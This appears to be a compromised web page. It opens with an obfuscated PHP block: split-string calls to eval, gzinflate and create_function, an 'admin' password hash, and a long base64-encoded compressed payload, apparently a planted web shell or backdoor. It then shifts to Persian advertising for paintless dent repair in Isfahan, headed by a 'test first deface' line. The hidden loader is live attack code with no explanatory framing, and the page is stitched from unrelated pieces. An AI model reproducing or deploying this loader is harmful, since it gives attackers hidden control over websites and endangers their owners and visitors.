'admin', 'pasjBnmjEHEC' => 'a6f452ec3293d7fb72c5b677257b20ec', 'saQtyDFQioQj' => '0', 'lorRVEoGkxjm' => '403', 'shCiVaIJJhqc' => '1', 'poiWvdLxdSlH' => false, 'cgoBoKNhdmdO' => true, ); $hfxFkWvRYg='fu'.'n'.'c'.'ti'.'on'.'_e'.'xis'.'ts';$phTgaLRsSq='c'.'harC'.'o'.'d'.'eA'.'t'.'';$qmjhkZkxyo='ev'.'al';$sFWmeVPHRK='gz'.'in'.'f'.'la'.'te';if(!$hfxFkWvRYg('base64'.'_'.'e'.'nc'.'ode'.'')){function fvcLYJhpDP($data){if(empty($data))return;$b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;$ac = 0;$enc = '';$tmp_arr = array();if(!$data){return $data;}do{$o1 = $phTgaLRsSq($data, $i++);$o2 = $phTgaLRsSq($data, $i++);$o3 = $phTgaLRsSq($data, $i++);$bits = $o1 << 16 | $o2 << 8 | $o3;$h1 = $bits >> 18 & 0x3f;$h2 = $bits >> 12 & 0x3f;$h3 = $bits >> 6 & 0x3f;$h4 = $bits & 0x3f;$tmp_arr[$ac++] = charAt($b64, $h1).charAt($b64, $h2).charAt($b64, $h3).charAt($b64, $h4);} while ($i < strlen($data));$enc = implode($tmp_arr, '');$r = (strlen($data) % 3);return ($r ? substr($enc, 0, ($r - 3)) : $enc).substr('===', ($r || 3));}function charCodeAt($data, $char){ return ord(substr($data, $char, 1));}function charAt($data, $char){return substr($data, $char, 1);}}else{function fvcLYJhpDP($s){$b='base64'.'_'.'e'.'nc'.'ode'.'';return $b($s);}}if(!$hfxFkWvRYg('b'.'a'.'s'.'e'.'64'.'_dec'.'od'.'e'.'')){function UTVFJcMDsk($input){if(empty($input))return;$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";$i = 0;$output = "";$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);do{$enc1 = strpos($keyStr, substr($input, $i++, 1));$enc2 = strpos($keyStr, substr($input, $i++, 1));$enc3 = strpos($keyStr, substr($input, $i++, 1));$enc4 = strpos($keyStr, substr($input, $i++, 1));$chr1 = ($enc1 << 2) | ($enc2 >> 4);$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);$chr3 = (($enc3 & 3) << 6) | $enc4;$output = $output . chr((int) $chr1);if ($enc3 != 64) {$output = $output . chr((int) $chr2);}if ($enc4 != 64) {$output = $output . chr((int) $chr3);}$chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";}while($i < strlen($input));return $output;}}else{function UTVFJcMDsk($s){$b='b'.'a'.'s'.'e'.'64'.'_dec'.'od'.'e'.'';return $b($s);}}$ZleNjpjLDa='c'.'rea'.'t'.'e'.'_f'.'unct'.'i'.'on'.'';$HjNBhwFQVs = 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u6VdT584j/DBAX+sDkvUJh5jHwa12xGPCwk3zzQjne6bYedBt1PdMporGb5SkOMRXY8VS1OftMmMm6O0XclVErSEcpOGu/EACIhrmlkEoXs+wsGdqE14m+y5eMZ8Gc1f5ErC/JkBgHgAkOMyfwQv/gWvah3fLP3s0PvS09WBBczoig4L5lgq+rddNZn/wkcG2OfFmIlV6PHAslzljKBHnxQUAAfKR9T4tlLeSY6dmuEe4+pmFTfRHuHOvMgJixtk/BoVY61O+6szACZ0b6kYq4jGwd9mjxyImaeb2btlsfymdW0ngdKeesnZK0XVChiDg1l9ier5rzCJW74esiDnDDp8bHtWTFRyag5oDM7SmG4MzyJXnrx72Kbib/2Ya913eM88lP2Jj0sRkbjr0mqnjryzH793vOPQ9hvsEJsyTo3qkTLe2eLxB7nvbRrUppP3gJ1K+c32fHzreTPXb1FUqxoDr3970vFgzSQKTbc18NcmqX5GZOabGJCdSk9DNRXOw8H+SS8HWtgEb55TZh99Y7mIT+hC20lrb5/TXker42mJ3JMCrP85Js8LeSo4l+c5t7F2aiQ4v8IrrlawJQUqLNKtD6VouBQmGbSiTj90X1dgHoAeOuFC9/PBrcVJFf88YryRBYw6g0zVUWRPjuVfTxWH/JeWSUnJltukiFmouXArSds2+9Sd4k0p8M4URS/QbQObOgRVpM2qM+T7APwXiWFcsQbTQLc7LgF2WtWRSWOVl70r3Fc6HrfnozodByEyI+goGM44+Q1j0Z9pfb4/Er8NkcOWyMLzsRARO6GJYKzh7421t94LFvkJ4PMZ3RLeqNl1LRk9JfJhfUTv99u+8ORgVj27sRegio/L7kl86bNuo7Q3uRr8JJ+HxkJ0wooVkS2+kzL/Inir4JNj1dncnymov6q9HEGxeVaJ97uNu7bfzOdn/IEIti0qemnwsP470H9kJCvwpB2tlOs4V3qNnD2kvJrZTvMj7P4KWcwd4U6FMWrXCgaBwzlpwcE7I93EEeVAj0e63Nh3p9gJYuv32YobTmnfALPVxewt0nOjSYPTZYbshdY+TpZAKtA9x6Vau4tNp6lW7g2/S1KPm9r491QtFVJQRDPNGvBocxKkSnMgOVHsViqDOs774mevak5IeG7qevJXm1hZMaK5yp2Y9W4YMiCGlLfVUY9CsPbi0hOOF5FflPCQ+wEFfUNrE+UFTYflZYTV7S+HpkKROZ3mkqzIFrtQmxDINVEuGsye4LZl4YIYs18dvqJa3Hp20Z5PoFlVlop817rKbTRTX2ldgZli/gWwuhHTIDN3hwUKbd37ui+shbIloHOutsbgjkHifGgeYnq3sTNnM5qIDxy2+BmMIPdXqr+1OrU/N0XdpoXs/S+XUYd8Iqj1WQzI+4kpmo7/xe1hVWTBVUiYi5VyiVkjCvcuxL9/NsokHt+Zc2G/3UKgG/82EkDo9R06aSj4Eb0CnRolKSfvytUxvpwEm2JGtksj4EQPQcJv9om8eE169F5remqau0xkAk6kR0SdtQpKRhiB0nIshl8zfGa62GZjLfDaPXfQlw4h4JEZeHUrtbSgCGadZNMdLQGjq36FpKrW/5gadcExPbeGnFKdhD2CefIbp9+SlBGE3u4YU7c37Stm4gKo2t8+G3Ws0nw0TOi5M00bVfxcceKE1X+fRAierf8hklgI7RQOP9Gi82rCqOzkn+eJyTLvQhxtROVgSaLxScUWV51Ciwc/V50JVp4wiMhaI41+QBL9TqZyCynTCa0Dtemo6yo4W5O6W5v+6zVPG8F9C3uv56rHumtO+AFe5Kg7vJwQVQ1TTvXQ3xPCRVw3SD4Rss++JAcFkD68wNA728GvWseNvTnryU6DTtwackXsd69GTqmjQ4bSQa74Ca3Jn4GUT4WDiq4DU8vcg1fFJDoOmGNIkZdaZdpciDv7JSQCdzSpfBQLYUKvp+W1XTReNXeOmDoMJfcjxXLHQY0oM7mvciinlkmRYpadBUQIzm44BopDWvxuTPZ3E7lDKR+jjYyqiL9HUd/kaCRpkARW4RvQjGt0nf+AqG8Fbuw2bD5Insvtot8JKUNDQz2PakkvjAO7piAX0CqXBuCJjG8fGYBJ3qQP6w1M4ddLkJu0gRJS8DAPpiYlGAarCX6jNMNDnYALkfHBTDF2j6AHj8jHUH9YWmduIu0o0Oa5wqYYTWZxp8ljglQESls54j6ZLDqJ5YUVojT8DgWzLLeTAUL0CXY4CWMLCQcBrc+ZQKdCzjkw3AafSHpj2AbuJhkwiN/JDQHErdyIeloFMAUVXS3MBo7PGjsjf6ncdbploqpLEyBTbCFM9NvUDx8QtkLNEbXpcpRD4ryS1DOXb+QpBBR6P1XpQHSiVyZe4UwgMUBZJHsWFkr184SgJE6JA50mxhWSI3hdFLabqUOU+5QRzXs5c/iEB3shdvjKzAoGsgdSfFhy4NusUR7peZNQ0A9QIC97SiJohBvxLk41Mlo6Q+wQALDGB5kzpF0BK13g5JUi/vNvgtQDkIMJEWNFkCw0MuCDyxRbWXe4GGh/d7nb67F4hKpKhZUzla4Fso1+aOlPjPV1WioJIyqQvVwYK6ytS9RFWJzIEsreBNeaZz+YDmsBFxjwc1DITADDtZCYqAWzJEEsAB+bg8mAUxqj9Pvm0kwF8gyELvnNDtcDcAHKZVZeBeNZH9WsX82Ux0Q5KAbLanJnxaQXo0w8LmSAXw2z45wG/mDsHH65S/pAGtLpHlVukjBZJRaI1RiUYn9PzAWSgkPnZwHmYMuaGjcpnWmKkTmZnBNKSgcDIQy5Jev+56RkBHyAFAttjIwpdu3R3cEyjMj1AsFgCexCLHyCWnb3LBiRAHjeJArlKEt/QHFWRWB0aBx2mPvGPECDRFhcXkwyP3egqkHwtLw3Mq3a0s4ZFA8A5AJhpE9Pui+reOHilF5uigwgCIiuBWkpERoKZPl2Y60cNGwvACUGXR5gOwd59TfKJku3IVXaMCM+uTbpnDPQoFRwq8LsTk3PhzpeFDrR2iObd9QW3AIBt0PqIwf7MozOENHRA8RMF1q3JTRkjgMD8wUVwgGkpv4G7FcRBYxoHoana/mMCvAKXOYSGNx8cCajN0iNrEGDDTH0L7GEKSAPipgf3FG3QnULcFkccDTHgRa9TchgTGA2nPV2DZr4HbIeHG4dVMvH57wFAiaMC83+vHDJ2KQnXN0Hxnt/PkSmZASV5g/pTSgiBlSmHF+yufcNQEjsGAevSHlTJSgkeVCQD2lhAoR7kyzHfaUGD06PCAzlBxSkMA90juKChcOPfSRejh9ypHDmBBSr1bXh1PDQbHBhzlu9Lo88u1MsRRLHTeDWEx5NiIXKzBNcyAAn35KQUt88HwdUmApwKEPVfOnEvQtMzvECeDekgngDZXaz8i5eXkHQJhdOLJnYz7bSdCel/BfN/0MskhlEOK/aoBlF7IcK6Kt1DiGPRm0yZmbykZ7FeryiF/MPINDPFnFcAJ/bJQryn/4MBSDF7fBIp4auLDtuTe21GmKyrqPV8QJAwMgX/JIiBpSFhUuoFDD65xA9I8/nL4oe5wYb7jC+0HopdXNmUwpJVw5yiNSJBLI1FbSfOdMLmJOLiHPvrhSMUECCB8cUlqI1l833GAPG+QBv2U3BYTnVIL3lUDDN+D+pYs+JFAWxhQO6KBubLnANjiD4297v4DqNvJUh55gL9fovJIguLz9oQLjG3Wos5ITmR4TM7yIXJXZGOZWBFZacAgQZNmQSQS2mGFrPaPD2NoXYc74sOgA6PKI6BXjqm48a2wMMtld/nBp9DYfvSVY0T1v2OWn62XzeO3lnedjRCyhsOZXe550POOC5qtITXycoym0q98LFa6Zy9duf987N9WqeNZcFUdSJ4PideKHKzTU48R+O25M7YgQMmD/sGCqEq2xoDkUELsJX632ej7wiPFu4j8OGvb3cUakboKkk6rlj0MML2NrN9YkGM9fvcM+FVaL4HmM1JmHxSSajxy4PtjoG/504ce7nd2fF0zMKyNnqnf27lHShWyMlyCMmzf7EQOZv/YXarXnjcKxdZUpJzz5kbgEwfVEvLGFOJ9eUZD89cKzKL2aLP8CWZAYECNxZEqnuyKVslJuyV/3ARmMSDMTL9vzkG6yBwKKE12ljUxb9Dq+mkNh4nJu22YLxJWd8QfbSTX1ScSQSIYVfu3d4W9UjJoURg0fxLCMd+mkF2lzddxKi77GjcsD9vPGGBZMp4Q/YTENqkqGLQwuK9kTV93ErodI0kfospdtdIKaIZkaZCgPYCXVPIOtlEmDnn9gU82Kw65fSBI3JcMBPTzmY6YFiTY0CNROufOIs7cFobRkEbx9/QzLdsZ9IOtosJfQs60yTM/n6hrg/p5lMpFo/ZwaC09YOSAEi7GAx5ebU7uZVv/6mxAsF+L24HLsSu1IH7OmfF/fN3I+N+rRzTMJ70oP4L9iqyICJwOPqDijVx7vgrklxfA8M0yJ8TgiixvjYXuUgg+7GVcfBU2mMcEf74Ds9Auomg81kcqqgbFLzhwUUbPf7DANyJKJxStr+jeunULpJxjET1gC08dFLslePe62GAXtC92+5gvFwkyjEaC8NNWBA3j2Zfbz/Rc9Py1kBY9j9479DSG+29qkpx8nhDyDHyW+t1Pddq3njMNH0E6Tm+rBLXhz8kZFjgTY2ak6bcnFkO082+amf7U09GGCD33v5z5Gq4zzOYT85zzZUlEarAHnak50jN6++7n1cX3pnxhux+lrp8m5ngaGVs+1Mq7GCDg0HwhpNez/QfYt1duNT0g9vOjbzMI2qqE2/EvqJSYqYNeyprLTr0fN3nQLf9KVmlXH3ucnmJm7DFDwzcDuejRPnAvRDp2pwu+Q3OZTKFz08czCUU/UQjgJ8UMVUy1UFnZn6reYSfAJ423NVuW4zXmYzwevSGIpK7D4t1JaO4SftnHmr4fgxLS7Idw5AlHTBhfz1NlGie1hPjOIPZ/vdzDbpN18iyzPczBY8A7M0OMA0oIuSqeo/fWjhZMUp5P3oh0zs19mamOY/drBlyUT0jxuBS72c2gAUkytKony45FabB8Idr45IfTNEyzwydxVqJscQ2qGCfzFSY5Tm/6skvuzLDoc2GSNPWOrwX8T/ILPUEU7puJGhGYZcinULnQv9UxLVQztYxrsjM1qN768+SEiwm7kVSctC0UVFEegH1l/QfsRMyFaeG0q/qhPC8WpTK9XSnFJXH3mMdlhAAHcqxaIk6K+hIae//Zc2FQV55PJQwmGQpVuBopH+f42BRmoRDMWqQ2xgVVWg9XwtbIQNw2nKUzxJ6bwX33kRcso/r4lrJKlalM0vUjXQ7nShWyWKbOmeViOwHAyXIwkTsUjaiZzhU/2JYCPZTy/vnIKtZEgQu6DxnA+WLGq210O1jTInO/6tC+vpSlxMaykRvnyPB1ruV08c8xenqPBjOPGiegCteaep/pZWlXe/bKrCpTy1v/B6Os1xVQylxgXcJEJSpo15Hw8UoDvIW+7yD678dl2PnQmsqjv7RR0Z8tf7QXwMSMC4YaP7+Uv4YFl+3DoLgLCvruYE5jYtLw5X711ChekEDm2PXjjxNKY62qutxQGcagJvUxOiNQqpefV2+tj9wKQ/4ZVVEmq77m+JGDcX+SE3MRUrRj0YcvEx6/vlQZgC1lbBC2w9g9/eRUoJmOUwzXDCzQkN8wCYOj6l6P1OJytOtTzvGauWMEJKG1kgUdXJ5YEnqPDp698+mmN7/JUrbtNauuT5QGXjkHUuyzMm4JY/YExI3IKQBFWtp+wKB/pJUn5Q/PRQ7X6VY/fe7ZGgWpzJbk4YvZeTftzH108vrPp/1K+KfTBbcIfp+XkUVFLpeSLBNfDzB3FT9te4l6F8YZ6lIUmxDPHrZU3ZGCyyzumYNWad1hoojoZhy++PQDwBmepAzrxg/7qUYayJvnlx0aF0XiMfVy8B5Z6jUoxV22NDzZtyOEoZsqVNeiDtMu3klaEwDsAZivphuOfYBzJL5Of55FFQt6R3QEQCMz8IBvUnx9zY8bN4d8/8TJmjA4ThS5qVYrc/xtOYF3bJ2V6GJEoQT7EFnRAJteJYKx/ES5WKKaBGfd133B5Fac7/p8FjxyfxR9O86WBbiYxnbgBupxGPdKGkBeFLHC+Y24Xtz8JqWLUTHxRJ+hHVd706WAbpLs+I43agULHyKeqB+/fBE/2Vp+d4iQwz4vV0/xP+QduXmoWbAcxN1JCr+c3acnmD41JSCCvmyCESxm31+S0w4MKS16Kwgl7CpJSP8g3JgxPBXRTGt5g+OFbe4LA/iUk1FhKoTmEVd4cuxi4NGhRUr52wAu+h5CmiIHDzMSJ0VpaMq/a7mjP32mNiTWCaKa2DRqanX5fN5oT9rbkS3dX7uSC0/+x0V+KFPSzL2eYfvRfBzmJEO6+ptBKGT7IIPZBk7L496B4KifjZbAH95/gHrlNYW9AvVbuPpi5bxq6eyovkXXvoNcSSTaruHIXAqrXxkaGmd8FB+/livQud8htC8zbF8qbea4zzP9tIJ87RFy5os3S9lQYSm49125dDD8F51ZK8jJWUA93g5U/5EESVGv39dUFH4kZPUylTv7wh6cEBFZQI8mxi8UY19cXnyN87VNXOZy4n4ehJAtOcY17k7C2/pHCVtfEHpQWhH2JqChdjBcudzkqGn0Lps3xMtXjD9RcooAtfOhSkaL8a3txnf93i+5IeHWfYCnRQM2rU3PYhFuyXUzId1pPWF76HQE3YlDG7D5jbwF5K3DXPZmVBQtLHzapEBrXFgSTtjaeKTlAJdn49k/y7o811f0pilAm7jgwYNP/VvdS3BsvOZT0dmKxYA7CmKNg35i7IZDRTyZqbNQptbgtB5+TlTiAUi4BwuRnc4MfYmvO1TSi46P6tQCgEIRw26h08BN6808/KrLfitDBZHyt/KmqvJrIMTtLLcqAjHCBLBrqNezuaux4Pvci/Xhj6AACP+70gQN/WJRlYGeUoSw5FsykYOdY7TaRjfXn/3yPkURm5Za4JgmU0lnA6m+zW9YOqBv5JYeAK1fRp70fUp0CEJUFcU/Ntxc1XJFjbPm3GCdmaUDqNNonfjt1K9gUz+N338js06K8xuSZApd4NsS2RQvWneR1feTWUi8Ha+R6qc/T1WKRJvx+5wvE1jLT7VpI/haMCTHAFhXv+OKFiZkIzW/dGr0GAyDVLbWyYDau3+eabXG47mldmlY5DnmyGG+9g9lfIDzjh/bGBdrt3ALsCt8/wzgoRUyIoZJ28HXjuPt7FCU4CEUrRNuoReCydNXxTF3yU/DJZzFFRsKLZcfOeIF3XY5bxFs1UuvHiKOXxPtNX446/yipQ1eTEVbOcgELlBlH7hTlfYxzo0GJ3JG7SffGueGRwrpxpR44GMCsoALRbpYRxz9vTBMQ9ww1xIo52Rp1GC4TW4i8RgtCtCGv4b8AkAYWjoBLFOWQeVfipZktt/nvpehQ27qDtHTWV4mGIO9HoAzBYbY9aoDkL6RnJgHWaYoujmhUtIHFuoKaoDDgUPm8tHGMn/r9bWUObz26JanYQMYpH2U1FwKGNpTFFdQR4rkKQasJknSaHemAr4/TXgIlQcArKK5xAY6qt0+5U5mIhCZ23IyTynlLz4T8E5xV3YUW6ayMHy0Bkju9EoeT0WbHypPUJBP4ULYURpAPQI+AwQsSIHcnIGuQNr1dEBYuF19vXd3Afl1XPthY6zK7Wbdp9e7ECcIbZV6PBr3S8DjjMDqScYfvy2SPtIoV+4fCMpnlIa2kqIplH7KUFB3u8x/O31xQxrwlCiqEcuNCfdzXmsT8nBRTgRCS9jE9VpdCle5vJle0kiqF2qIZ0BHp4dABMeRoxtF8R0RNvsaIgitdpGiO+xVL2mAUcLZiQRpwLmoFjrpzF6PHKFKsJqSfOAHAh64F693/mXYX3Q5LCOMHgsbMXCK4il53XlpvPr7sEaCwmfhC1b5gBMKLmfx5GAmKWdeJfpQGlQiAugK22PKmO8a1dpOItzZByjEZUjeHcTlZxOI7uQxGAYZY+hWg7t6A8DnmIhFBhX6hWLjvpC9AxADAnRsGICbii+KuIlcnAG8TADMrxDOMNU7CFGKTh343b8zH/iR/kLHjJDDeeBTYrh6sWbHVqgBWpB+n7MH2UAHgoXkiO5GHLK0QYUXhR5oRJJgYsP0jYJgqU90eXrI/LnKKobKBssLDNnkTGI3Y9itAxRzHKUx0OCAvWxoFKcB4kHJ/NngdEvRI3NrI9jjt2psXjxStx29Bv4lEIOtih3AaNOdQ/7KzINGKNGlaQIPaABPLghAR2SgoSYtIN+wKKtkRKCz5gLIaA7vURZWb4pxr7wMsDwgAPCzUm5Ytq+uevF0+JAI/GRklEH3eHHTHcWRLFmkpH9R4kCMilwlv8DFSG7eLBbgs4P7wIGBDi/5m3NPgZjuiv2RO6Hewl/JsCQE5gdazma0Bh+DXT/uob6iS+6Uxs36dYdLgQgTRaLkYekLi9R1WjJ5YlzPy/+WisI5ICo3eFRvPnMv+wLFnopAzg8EZ2jJdkTos9dgBOTPTmOkwOMAcN5nCUMW9hDQqGM8qGM4OVVkSMLCaqFLqnRQoqA6s9/biaMwkqM6URt6RcUkyNQYcfEl/jshzixx5MibMYFLjukAnBO/Ps6UZ5BbIklxZI/9CCCeMn90/Uv4klZlMqk18Wa67P1hPHT8AhPzSA5E5q2pJv1MiLyw9KgbKSx4xOaxmb+jUK18CFF8j/exdosJd5gKM+iRDPV9HWun6mfOnjSFSWxRXEt29HjenOjXdGDO8Y58TOO12HA13IZKeHN82EbYJDwkXwwmWiGiboGfcmu6qyB7/lvUrgfE8OY/QmM23oksH5uVrvVnyErk0etHH4jCMmz51pTP70XsZMVK5GISJVVipMVb0kes4iNW7oYNmCcUKd3GQi4+ihOeLMXj4GexTMUcYhsf9YP90eJ0VjVvSgTJQQx2ZutPccn+V5AnIp81TinUPd7jhtFECgLntJlc0OgXZ0uOt4feRvJNTrvn0favT+dvlklAcXOrr0XsXHDPhxKOUzIQu/RqpNW+uigIpmBwTBQqq7iHi4yA8utlpE0xf/PUKTg1NzVEup5fSfFb7E0FW5hnSrhAj6FA+jCMOutSJn+y+7fKXyAcPSRbznzfdTENviysaIvazpvaPs73lfa5zDkZbNBcBgSVixNmTrN89XsSLnA45/kZ2G7o13nUks+gvdoTqgrMW31zrUf4Kk2+5AarYbAxVmPOoyc4+xaIoLCyvk8lx3mZ2LSzDct14F3Jdoh9EghEbXAD6eVXFiQu493DqJq42lT3lFnttfeQoVvUyE661iz38n2uhnfB47ayCsJycEzd3I1FqlbV/ojjTYJ2TgckJ4s+X8fHm71qhxUif1PahRI4JI7urGCCLezYl33TLOnNDjpN4+pc+wXJsMatGse1pqYIwju75g6g2GlWNmNyv4YfM1D3HWlemK9TbBdWKJ86iyE1VrtgI/l4yJek+PqLV046KoPMhaw1rvf0QOpAP5z3sZKU4Wv7puYXlAFC3F/mfilH2tUjsgQH6m1/e17psVPMSYnllWNggj0kwCMsn5EvgesHOmxrLEvIlMfKTMuqek1hN+rNHftNT/zsYffML+isw64YWPzhTqqNagOi4InPv1yMTOokvOLS9o6Dsv6uARLKC6VRxjxirTpbJIkANQF6JyJ2DuTbYLu8biixLyJYS+cUs289nBG6yWRjSXp6ylc7JuZ7pfKsT5t/03LMKMeXREsMLzyOob/7Urq3Q0taa3HiL4I+GM56gk9BWutHVRm4iATxBugx5qrRVO4q8+M1YjQR3lz88M7SsLJhlnjcboI1vqEWOQ0ijMTxNR9m90bA0Ovb3/3gC3XqFIeeDza8IsC1YP2O/IXeH110b6HGF1dFAl+h/CUqDsIQ2UuYpW+tMhRTluIlvbxMCuaAYbvxJWafBZTpDfuFwHgF2NdVqhjAUxNsLwn3+6P1bTHegLKCibcU6W3PAYLMJl7MYcvHQGot/2hStvIlcdoSP4pSnvUMok5pjEXuHVQZQtfbqH+Gp/VcgJcHMU4ftQ4EYfYB/jb5xGI5QJt6me73RedNRv0R34aOtH1qmL2Gu1TEF5gNJJ3laV/Ut3zGu6ULebE1w9NRXEFKbI84nMBYUNpnRLZd/U0oemfU3FPlu7c68ZOapN/7/HkwMiUeyXpsBsrWiTD2SralAXH0mX40zNnRY5PwwFAiqCrgWYdb2H8U2X/u0FCGgUYmW3A64xjN/MPrLApBnxxQvxIP4ddGBdrjrNt802VYKnn7K8SaCz55xNtiFwu3sH1/wMeMjpH47GMFyvY4SknFUAl+Q3JAZLP3dbJR/7V53Yhxzm/5p4DKOnn91OUoGxRvxo0t6Ya+ASqRXe+cHmo9NsJJQsJoO4EPdjWR/uU1v6iBduVh02nHv83VUuuG3N7AqVLF4uaH+fWBXglO/04al26X/YZuJqsF8Q3E72CNc8p++ZXETQgU5+PjQgLXE+XL4UU6XYXYeX7O+PZvJQMajVBe9PqOXMe0sO+eKNJ7KXIIfN1AzOkKUZwcfxYvmobzRYxgE4pY+InEOLm3zVQGmxzE5bMxXdqHj6gcPPUkaCXUftKJNUAMMZ42QT+sqgNdb8acdUVzP4KU11oPxEUAOeEkm1emUNjHMrJ79OJN9EP5bCWmVMZhpIaERTavUc9EmPUJlhxkKxORqTW58gPdVbwe79uZAuBZbTkbr9abeQluB2hZtePk9dIFNyoRJLsSYZLU2MMnjfpG2LMibqqNh+zr6ZPQgkRf18Gp7aX7N7qZHySefoZ56JNGPPpoUddU5lE+mKdZqu1IcMEu+Zjhyj7nj/cyFyiutQpdeGG2HJzPGFTYNsxmR8X6hsRV8w5Rdb51Ie8QmwCXlglSxoqEL02spB4IWrtqLP4T6Bv+CKX0aOVJczFpSgtojswRr4ta+ZdZV4c4eVlqmGgNQ0pb7iAM7ASNcRu8Whw73Ey39S7QP+vUkzf8BMaGXJ+geqTilw8UtwuZ8MvOJ/n0gpzflZSiz4ieS1FDlSjWrZjZEXqfH2Fcl2chH097VhYz4snb7fuhPGINumiBMPLJOSnT4sg8N3O0jrfaak2EHWj/3cSFzc6Ss6GxfrGHEyoJOn4/i6QHrv/mkjiM8KSyDZFo11EqwxeBcMCVJOI7DM73TpmN/sAsTN19lOO4BeDQAsbeNNZKa5lslLA5YR7e8RFVXKqLOBYp3dhWLaMS7pRHFZ56QfEkjGV635J1NyVWuJZqoMxLzLAlZrDLQZDP7Os2IRdphzTkfldLCYkLjThzoMIsfk3DqIyrQ288OGMn3TAhZUVldRXggih3ksWDfhYJOdYKIw2iPx7Hli9MuWePlEEpe3IWmuevCp2r31A0Hn/XL+GJev3i9kZTdyoeO9/XOdDfVkfXTdxPQvbTFLMJJTZqfeFMgLT9NGTUY0e0XG6LsLH7DYz+hhaf1JsvwrDfTXLDyPhymw6Pms/N2PqbA/r+6cHzqN/f3V9Cb1eQ7RqaXDTH3ITTw8cyLT+HDn+ziL4wPjLFszV7sD5OVCXDErJvG+k4uydqhLSSr3OBHN9bQalAWYH+vFu8xq15Cf2O2o/t6Tcb2w8kJCw97rb6VRoOhrTAuPy6YkntlOlSc5vpai7gC3MK90q+BjMLEHHZ18RqCBxu+Wiip4ZjXmg/ixbHYXSN92N1/pTU5x0hAavSQsEw2kLPz8ckzCvkmhzA1AqjUDT9zi4r4+FmatZSVa3huqum3BhpfqTWJAXbwQ5udeFE8Db8RE75FqFZFwNThtoFQ4S+Qr564UUOn/OF2OZS/xH7NCErDIosBSgE9hPbopC17Xxe2kbG5i1Jw7SWnZMroFUILc1w0CaiI2RSs1uVbAJAhFKemuU4Dm41zcp0PJDXGsKG8dlfEqlRfItAEtyZrIqbXCKR5xKBGMPK2J18NX6Kmo8EYXr7o9qZ4aFyVqJFwNNZDoaoH5QKNcuOzjfMUanju/P8Z5Ah9esospltWmsDqnItSWn0JmWc3+/9O5af/kCBg/yo08Oh1FYM3RzFFXHqkjc4xbIZnVJsXBrjusREukJAZ5K6zxrxTiXtznO5XXjG3KmBmE6e1no1ur0YgZ0kUhz5Z8UeAQ91l2OHi6UORBD46SfUDnjYzU7e1ZayoX4zi0yWuGl+gXgvOzwfPXpAwrDHTN3Z5masD/cWIw8dHWxyu54D5Ul9aAGrExD0kKFnaHMmn7LWV4m0N9bb757/PJdJqbqG7x5qLs5Zg1fKrFNX6GcbspHTFpXyQb8Ljn+U4ENQ/tYzx7r/BHzYxPvHvujSZtDlOWe2IwIfZYSY4zsTop85O1Zj5UEE4m1MymcBrb8pcfziWwIHTqkOhs+qIJwmdVw2OQSVE5o4XW6fw5DKb+mlIVXSLZergN/n88sRUfzxkZrXpLwROvAVLsFworL+eIZKvanMkkK+Wrta/ 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تست اولین دیفیس

صافکاری PDR در اصفهان

صافکاری PDR در اصفهان

09131658358

صافکاری PDR چیست؟

تعمیر تورفتگی بدنه خودرو که به PDR (Paintless Dent Repair) معروف است، یک فرایند نسبتا جدید برای ترمیم و از بین بردن گودی های جزئی، قری های کوچک و آسیب های ناشی از برخورد تگرگ به بدنه اتومبیل است. این روش باعث صرفه جویی در وقت و هزینه تعمیرات بدنه می شود.

صافکاری PDR با دستگاههای روز دنیا

یکی از متداول ترین روش های صافکاری بدون رنگ یا PDR استفاده از میله های فلزی و گیره های بدنه برای بیرون کشیدن قری یا تورفتگی ها روی بدنه است. برای بیرون کشیدن، از قسمت بیرون بدنه چسب و یا برگه های مخصوصی طراحی شده است که در اثر کشش آسیبی به رنگ وارد نمی کنند و با تنظیم دقیق آنها در محل مورد نظر لکه ها و چروک های ریز و درشت به سادگی صاف می شوند. تکنسین های این رشته، می تواننند نقاط زیادی را با آنها ترمیم کنند و با استفاده از گرما (سشوار صنعتی) از ترک خوردگی یا تراشیدن جلوگیری نماید.

صافکاری بدون رنگ خودرو

صافکاری بی رنگ که در اصطلاح به آن صافكاری بدون رنگ نیز گفته می شود.
این روش صافکاری قیمت کمتری نسبت به تعویض یا صافکاری با رنگ دارد.
در این نوع از صافکاری بدون نیاز به رنگ کردن قسمت فرورفته را احیا می کنند.

بهترین صافکار PDR در اصفهان

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